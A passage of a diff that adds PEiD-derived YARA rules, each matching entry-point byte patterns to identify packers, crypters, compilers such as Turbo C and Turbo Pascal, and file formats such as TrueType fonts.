0B D3 C1 E2 07 40 89 51 10 89 41 0C 0F B6 04 30 C1 61 14 08 D1 E8 09 41 10 39}
+    condition:
+        $a
+}
+rule PEiD_02267_Thinstall_v2_460____Jitit_
+{
+    meta:
+        description = "[Thinstall v2.460 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E}
+    condition:
+        $a
+}
+
+rule PEiD_02268_Thinstall_V2_736____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall V2.736 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+    condition:
+        $a
+}
+rule PEiD_02269_Thinstall_V2_736____Jitit_
+{
+    meta:
+        description = "[Thinstall V2.736 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_02270_Thinstall_V2_7X____Jitit_
+{
+    meta:
+        description = "[Thinstall V2.7X -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_02271_Thinstall_Virtualization_Suite_3_035_3_043____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite 3.035-3.043 -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+    condition:
+        $a
+}
+rule PEiD_02272_Thinstall_Virtualization_Suite_3_0xx____Jitit_Software_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite 3.0xx -> Jitit Software]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 00 00 00 01 68 00 ?? 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4}
+    condition:
+        $a
+}
+
+rule PEiD_02273_Thinstall_Virtualization_Suite_V3_035_V3_043____Thinstall_Company___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.035-V3.043 -> Thinstall Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+    condition:
+        $a
+}
+rule PEiD_02274_Thinstall_Virtualization_Suite_V3_049_V3_080____Thinstall_Company___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.049-V3.080 -> Thinstall Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+    condition:
+        $a
+}
+rule PEiD_02275_Thinstall_Virtualization_Suite_V3_049_V3_080____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.049-V3.080 -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+    condition:
+        $a
+}
+
+rule PEiD_02276_Thinstall_Virtualization_Suite_V3_0X____Thinstall_Company___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.0X -> Thinstall Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA ?? ?? ?? ?? 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 ?? ?? ?? ?? E8 DF 00 00 00 73 1B 55 BD ?? ?? ?? ?? E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+    condition:
+        $a
+}
+rule PEiD_02277_Thinstall_Virtualization_Suite_V3_0X____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.0X -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA}
+    condition:
+        $a
+}
+
+rule PEiD_02278_Thinstall_Virtualization_Suite_V3_10X____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.10X -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 2C FF FF FF E9 90 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33}
+    condition:
+        $a
+}
+
+rule PEiD_02279_Thinstall_vx_x_
+{
+    meta:
+        description = "[Thinstall vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02280_TMT_Pascal_v0_40_
+{
+    meta:
+        description = "[TMT-Pascal v0.40]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 06 8C 06 ?? ?? 26 A1 ?? ?? A3 ?? ?? 8E C0 66 33 FF 66 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_02281_TopSpeed_v3_01_1989_
+{
+    meta:
+        description = "[TopSpeed v3.01 1989]"
+        ep_only = "true"
+    strings:
+        $a = {1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53}
+    condition:
+        $a
+}
+rule PEiD_02282_TPPpack___clane_
+{
+    meta:
+        description = "[TPPpack-> clane]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_02283_Trainer_Creation_Kit_5_Trainer_
+{
+    meta:
+        description = "[Trainer Creation Kit 5 Trainer]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40}
+    condition:
+        $a
+}
+
+rule PEiD_02284_Trainer_Creation_Kit_v5_Trainer_
+{
+    meta:
+        description = "[Trainer Creation Kit v5 Trainer]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40 00 68 34 45 40 00 50 E8 15 02 00 00 6A 00 FF 35 30 45 40 00 50 6A 02 E8 4D 02 00 00 A3 74 45 40 00 6A 00 68 D4 10 40 00 6A 00 6A 01 FF 35 70 45 40 00 E8 02 02 00 00 B3 0A FE CB 74 10 FF 35 74 45 40 00 E8 27 02 00 00 83 F8 00 74 EC B3 0A FE CB 74 10 FF 35 30 45 40 00 E8 B7 01 00 00 83 F8 00 74 EC B3 0A FE CB 74 16 68 25 45 40 00 E8 96 01 00 00 83 F8 00 74 ED 6A 00 E8 90 01 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C7 00 00 00 6A 01 FF 35 70 45 40 00 E8 B0 01 00 00 50 6A 01 68 80 00 00 00 FF}
+    condition:
+        $a
+}
+rule PEiD_02285_Trilobyte_s_JPEG_graphics_Library_
+{
+    meta:
+        description = "[Trilobyte's JPEG graphics Library]"
+        ep_only = "false"
+    strings:
+        $a = {84 10 FF FF FF FF 1E 00 01 10 08 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02286_Trivial173_by_SMT_SMF_
+{
+    meta:
+        description = "[Trivial173 by SMT/SMF]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29}
+    condition:
+        $a
+}
+
+rule PEiD_02287_TrueType_Font_file_
+{
+    meta:
+        description = "[TrueType Font file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4C 54 53 48}
+    condition:
+        $a
+}
+
+rule PEiD_02288_TrueType_Font_file_
+{
+    meta:
+        description = "[TrueType Font file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4F 53 2F 32}
+    condition:
+        $a
+}
+
+rule PEiD_02289_TTPpack_
+{
+    meta:
+        description = "[TTPpack]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 F6 E8 11 00 00 00 8B 64 24 08 64 8F 05}
+    condition:
+        $a
+}
+
+rule PEiD_02290_Turbo_C_1987_or_Borland_C___1991_
+{
+    meta:
+        description = "[Turbo C 1987 or Borland C++ 1991]"
+        ep_only = "true"
+    strings:
+        $a = {FB BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_02291_Turbo_C_1987_
+{
+    meta:
+        description = "[Turbo C 1987]"
+        ep_only = "true"
+    strings:
+        $a = {FB 8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+    condition:
+        $a
+}
+
+rule PEiD_02292_Turbo_C_1988_
+{
+    meta:
+        description = "[Turbo C 1988]"
+        ep_only = "true"
+    strings:
+        $a = {8C D8 BB ?? ?? 8E DB 8C D3 8B CC FA 8E ?? ?? ?? BC}
+    condition:
+        $a
+}
+
+rule PEiD_02293_Turbo_C_1990_or_Turbo_C_1988_
+{
+    meta:
+        description = "[Turbo C 1990 or Turbo C 1988]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21 8B ?? ?? ?? 8B ?? ?? ?? 8E DA}
+    condition:
+        $a
+}
+
+rule PEiD_02294_Turbo_C_or_Borland_C___
+{
+    meta:
+        description = "[Turbo C or Borland C++]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+    condition:
+        $a
+}
+rule PEiD_02295_Turbo_C___3_0_1990_
+{
+    meta:
+        description = "[Turbo C++ 3.0 1990]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C 06}
+    condition:
+        $a
+}
+
+rule PEiD_02296_Turbo_C_
+{
+    meta:
+        description = "[Turbo C]"
+        ep_only = "true"
+    strings:
+        $a = {BC ?? ?? E8 ?? ?? 2E 8E ?? ?? ?? E8 ?? ?? 2E 80 ?? ?? ?? ?? 75 ?? E8 ?? ?? 8B C3 2E F7 ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_02297_Turbo_or_Borland_Pascal_v7_0_
+{
+    meta:
+        description = "[Turbo or Borland Pascal v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {9A ?? ?? ?? ?? C8 ?? ?? ?? 9A ?? ?? ?? ?? 09 C0 75 ?? EB ?? 8D ?? ?? ?? 16 57 6A ?? 9A ?? ?? ?? ?? BF ?? ?? 1E 57 68}
+    condition:
+        $a
+}
+
+rule PEiD_02298_Turbo_Pascal_Configuration_File_
+{
+    meta:
+        description = "[Turbo Pascal Configuration File]"
+        ep_only = "false"
+    strings:
+        $a = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E}
+    condition:
+        $a
+}
+rule PEiD_02299_Turbo_Pascal_Desktop_File_
+{
+    meta:
+        description = "[Turbo Pascal Desktop File]"
+        ep_only = "false"
+    strings:
+        $a = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 44 65 73 6B 74 6F 70}
+    condition:
+        $a
+}
+
+rule PEiD_02300_Turbo_Pascal_Help_File_
+{
+    meta:
+        description = "[Turbo Pascal Help File]"
+        ep_only = "false"
+    strings:
+        $a = {54 55 52 ?? ?? ?? 50 41 53 ?? ?? ?? ?? 48 45 4C 50}
+    condition:
+        $a
+}
+
+rule PEiD_02301_Turbo_Pascal_v2_0_1984_
+{
+    meta:
+        description = "[Turbo Pascal v2.0 1984]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 34}
+    condition:
+        $a
+}
+
+rule PEiD_02302_Turbo_Pascal_v3_0_1985_
+{
+    meta:
+        description = "[Turbo Pascal v3.0 1985]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 35}
+    condition:
+        $a
+}
+rule PEiD_02303_Turbo_Profiler_Areas_file_
+{
+    meta:
+        description = "[Turbo Profiler Areas file]"
+        ep_only = "false"
+    strings:
+        $a = {54 75 72 62 6F ?? 50 72 6F 66 69 6C 65 72 ?? 61 72 65 61 73 ?? 66 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_02304_TurboBAT_v3_10____5_0__Patched__
+{
+    meta:
+        description = "[TurboBAT v3.10 .. 5.0 (Patched)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 ?? 3A C4 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_02305_TurboBAT_v3_10____5_0_
+{
+    meta:
+        description = "[TurboBAT v3.10 .. 5.0]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? B4 09 ?? ?? 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 0F 3A C4 ?? ?? 26 ?? ?? ?? 24 0F 3A C4}
+    condition:
+        $a
+}
+rule PEiD_02306_TXT2COM__Read_A_Matic_v1_0__
+{
+    meta:
+        description = "[TXT2COM (Read-A-Matic v1.0)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 8C 06 ?? ?? FA 8E D0 BC ?? ?? FB B4 ?? CD 21 A3 ?? ?? 06 50 B4 34 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_02307_TXT2COM_v2_06_
+{
+    meta:
+        description = "[TXT2COM v2.06]"
+        ep_only = "true"
+    strings:
+        $a = {8D 26 ?? ?? E8 ?? ?? B8 ?? ?? CD 21 CD 20 54 58 54 32 43 4F 4D 20}
+    condition:
+        $a
+}
+
+rule PEiD_02308_UCEXE_v2_3__v2_4_
+{
+    meta:
+        description = "[UCEXE v2.3, v2.4]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E 0E 1F FC 33 F6 E8 ?? ?? 16 07 33 F6 33 FF B9 ?? ?? F3 A5 06 B8 ?? ?? 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_02309_UG2002_Cruncher_v0_3b3_
+{
+    meta:
+        description = "[UG2002 Cruncher v0.3b3]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58}
+    condition:
+        $a
+}
+
+rule PEiD_02310_UltraPro_V1_0____SafeNet_
+{
+    meta:
+        description = "[UltraPro V1.0 -> SafeNet]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_02311_UnderGround_Crypter___by_Booster2000_
+{
+    meta:
+        description = "[UnderGround Crypter - by Booster2000]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 74 3C 00 11 E8 94 F9 FF FF E8 BF FE FF FF E8 0A F3 FF FF 8B C0}
+    condition:
+        $a
+}
+rule PEiD_02312_unknown____jac_
+{
+    meta:
+        description = "[unknown -> jac]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 B9 00 80 00 00 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 31 C2 66 01 C2 C1 C2 07 E2 F1 50 E8 91 FF FF FF C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02313_Unknown_by_SMT_
+{
+    meta:
+        description = "[Unknown by SMT]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB}
+    condition:
+        $a
+}
+
+rule PEiD_02314_Unknown_encryptor__1__
+{
+    meta:
+        description = "[Unknown encryptor (1)]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 2E 90 ?? ?? 8C DB 8C CA 8E DA FA 8B EC BE ?? ?? BC ?? ?? BF}
+    condition:
+        $a
+}
+
+rule PEiD_02315_Unknown_encryptor__2_____PK7Tjrvx__
+{
+    meta:
+        description = "[Unknown encryptor (2) - \"PK7Tjrvx\"]"
+        ep_only = "true"
+    strings:
+        $a = {06 B4 52 CD 21 07 E8 ?? ?? B4 62 CD 21 E8}
+    condition:
+        $a
+}
+rule PEiD_02316_Unknown_Joiner__sign_from_pinch_26_03_2007_02_12__
+{
+    meta:
+        description = "[Unknown Joiner (sign from pinch 26.03.2007 02:12)]"
+        ep_only = "true"
+    strings:
+        $a = {44 90 4C 90 B9 DE 00 00 00 BA 00 10 40 00 83 C2 03 44 90 4C B9 07 00 00 00 44 90 4C 33 C9 C7 05 08 30 40 00 00 00 00 00 90 68 00 01 00 00 68 21 30 40 00 6A 00 E8 C5 02 00 00 90 6A 00 68 80}
+    condition:
+        $a
+}
+
+rule PEiD_02317_Unknown_packer__02__
+{
+    meta:
+        description = "[Unknown packer (02)]"
+        ep_only = "true"
+    strings:
+        $a = {FA 8C DE 8C CF 8E DF 8E C7 83 C7 ?? BB}
+    condition:
+        $a
+}
+
+rule PEiD_02318_Unknown_packer__03__
+{
+    meta:
+        description = "[Unknown packer (03)]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 57 56 50 53 51 52 BD ?? ?? 0E 1F 8C}
+    condition:
+        $a
+}
+
+rule PEiD_02319_Unknown_packer__04__
+{
+    meta:
+        description = "[Unknown packer (04)]"
+        ep_only = "true"
+    strings:
+        $a = {BC ?? ?? C3 2E FF 2E ?? ?? CF}
+    condition:
+        $a
+}
+rule PEiD_02320_Unknown_packer__05__
+{
+    meta:
+        description = "[Unknown packer (05)]"
+        ep_only = "true"
+    strings:
+        $a = {FA BB ?? ?? B9 ?? ?? 87 E5 87 27 03 E3 91 8A CB 80 E1 ?? D3 C4 91 33 E3 87 27}
+    condition:
+        $a
+}
+
+rule PEiD_02321_Unknown_packer__06__
+{
+    meta:
+        description = "[Unknown packer (06)]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? BE ?? ?? 33 F0 0E 17 2E ?? ?? ?? BA ?? ?? 87 E6 5B 33 DC}
+    condition:
+        $a
+}
+
+rule PEiD_02322_Unknown_packer__07__
+{
+    meta:
+        description = "[Unknown packer (07)]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 05 ?? ?? 50 B8 ?? ?? 50 B0 ?? 06 8C D2 06 83}
+    condition:
+        $a
+}
+
+rule PEiD_02323_Unknown_packer__08__
+{
+    meta:
+        description = "[Unknown packer (08)]"
+        ep_only = "true"
+    strings:
+        $a = {8B C4 2D ?? ?? 24 00 8B F8 57 B9 ?? ?? BE ?? ?? F3 A5 FD C3 97 4F 4F}
+    condition:
+        $a
+}
+
+rule PEiD_02324_Unknown_Packer____Northfox_
+{
+    meta:
+        description = "[Unknown Packer -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {54 59 68 61 7A 79}
+    condition:
+        $a
+}
+
+rule PEiD_02325_Unknown_Protected_Mode_compiler__1__
+{
+    meta:
+        description = "[Unknown Protected Mode compiler (1)]"
+        ep_only = "true"
+    strings:
+        $a = {FA BC ?? ?? 8C C8 8E D8 E8 ?? ?? E8 ?? ?? E8 ?? ?? 66 B8 ?? ?? ?? ?? 66 C1}
+    condition:
+        $a
+}
+
+rule PEiD_02326_Unknown_Protected_Mode_compiler__2__
+{
+    meta:
+        description = "[Unknown Protected Mode compiler (2)]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC 0E 1F E8 ?? ?? 8C C0 66 0F B7 C0 66 C1 E0 ?? 66 67 A3}
+    condition:
+        $a
+}
+rule PEiD_02327_Unknown_UPX_modifyer_
+{
+    meta:
+        description = "[Unknown UPX modifyer]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 00 00 00 CD 03 5A 81 C2 ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 89 D1 81 C1 3C 05 00 00 52 81 2A 33 53 45 12 83 C2 04 39 CA 7E F3 89 CA 8B 42 04 8D 18 29 02 BB 78 56 00 00 83 EA 04 3B 14 24 7D EC C3}
+    condition:
+        $a
+}
+
+rule PEiD_02328_Unnamed_Scrambler_1_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.0 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02329_Unnamed_Scrambler_1_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.0 -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF B8 28 6B 40 00 E8 19 F0 FF FF 8B D0 8B C3 8B 0E E8 42 E3 FF FF BA DC 42 40 00 8B C6 E8 2A FA FF FF 8B D8 B8 20 6B 40 00 8B 16 E8 FC EF FF FF B8 24 6B 40 00 8B 16 E8 F0 EF FF FF B8 20 6B 40 00 E8 DE EF FF FF 8B D0 8B C3 8B 0E E8 07 E3 FF FF 6A 00 6A 19 6A 00 6A 32 A1 28 6B 40 00 E8 59 EF FF FF 83 E8 05 03 C0 8D 55 EC E8 94 FE FF FF 8B 55 EC B9 24 6B 40 00 A1 20 6B 40 00 E8 E2 F6 FF FF 6A 00 6A 19 6A 00 6A 32}
+    condition:
+        $a
+}
+
+rule PEiD_02330_Unnamed_Scrambler_1_1C____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.1C -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10}
+    condition:
+        $a
+}
+rule PEiD_02331_Unnamed_Scrambler_1_1C____p0ke_
+{
+    meta:
